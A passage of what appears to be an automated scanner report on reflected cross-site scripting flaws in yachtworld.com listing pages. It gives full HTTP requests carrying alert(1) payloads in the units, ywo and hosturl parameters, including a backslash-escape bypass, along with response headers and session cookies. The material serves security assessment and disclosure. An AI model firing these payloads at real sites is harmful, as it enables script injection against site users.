savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:30:53 GMT Server: Apache Cache-Control: private Content-Length: 10663 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the units request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload b9ede><script>alert(1)</script>94f74025176 was submitted in the units parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/photo_gallery.jsp?slim=broker&lang=en&ywo=starlingmarine&hosturl=starlingmarine&units=Feetb9ede><script>alert(1)</script>94f74025176&id=2047906&back=/core/listing/pl_boat_detail.jsp&boat_id=2047906 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:31:30 GMT Server: Apache Cache-Control: private Content-Length: 10663 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the ywo request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 4eb0d><script>alert(1)</script>512094b2478 was submitted in the ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/photo_gallery.jsp?slim=broker&lang=en&ywo=starlingmarine4eb0d><script>alert(1)</script>512094b2478&hosturl=starlingmarine&units=Feet&id=2047906&back=/core/listing/pl_boat_detail.jsp&boat_id=2047906 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:30:57 GMT Server: Apache Cache-Control: private Content-Length: 10663 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the &hosturl request parameter is copied into the HTML document as plain text between tags. The payload 83b1e<script>alert(1)</script>3ec26c09c89 was submitted in the &hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519&lang=en&slim=broker&&hosturl=starlingmarine83b1e<script>alert(1)</script>3ec26c09c89&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:40 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 9065
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- /opt/weblogic/waeyw/ywcluster ...[SNIP]... </script>3ec26c09c89/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarine83b1e<script>alert(1)</script>3ec26c09c89/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarine83b1e<script> ...[SNIP]...
The value of the &hosturl request parameter is copied into an HTML comment. The payload 1899d--><script>alert(1)</script>969fddb6318 was submitted in the &hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519&lang=en&slim=broker&&hosturl=starlingmarine1899d--><script>alert(1)</script>969fddb6318&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:41 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 9118
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &hosturl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e67a9"><script>alert(1)</script>b34780de9a4 was submitted in the &hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519&lang=en&slim=broker&&hosturl=starlingmarinee67a9"><script>alert(1)</script>b34780de9a4&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:37 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 9103
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &hosturl request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 145b2'><script>alert(1)</script>5cfcbf92248 was submitted in the &hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519&lang=en&slim=broker&&hosturl=starlingmarine145b2'><script>alert(1)</script>5cfcbf92248&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:37 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 9104
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &hosturl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 71d0e\'%3balert(1)//b41a583cb28 was submitted in the &hosturl parameter. This input was echoed as 71d0e\\';alert(1)//b41a583cb28 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519&lang=en&slim=broker&&hosturl=starlingmarine71d0e\'%3balert(1)//b41a583cb28&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:40 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 8861
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &units request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8c72b'><script>alert(1)</script>71a58d6f5a4 was submitted in the &units parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet8c72b'><script>alert(1)</script>71a58d6f5a4&id=2181684&lang=en&slim=broker&&hosturl=oceanalexandermarine&&ywo=oceanalexander HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 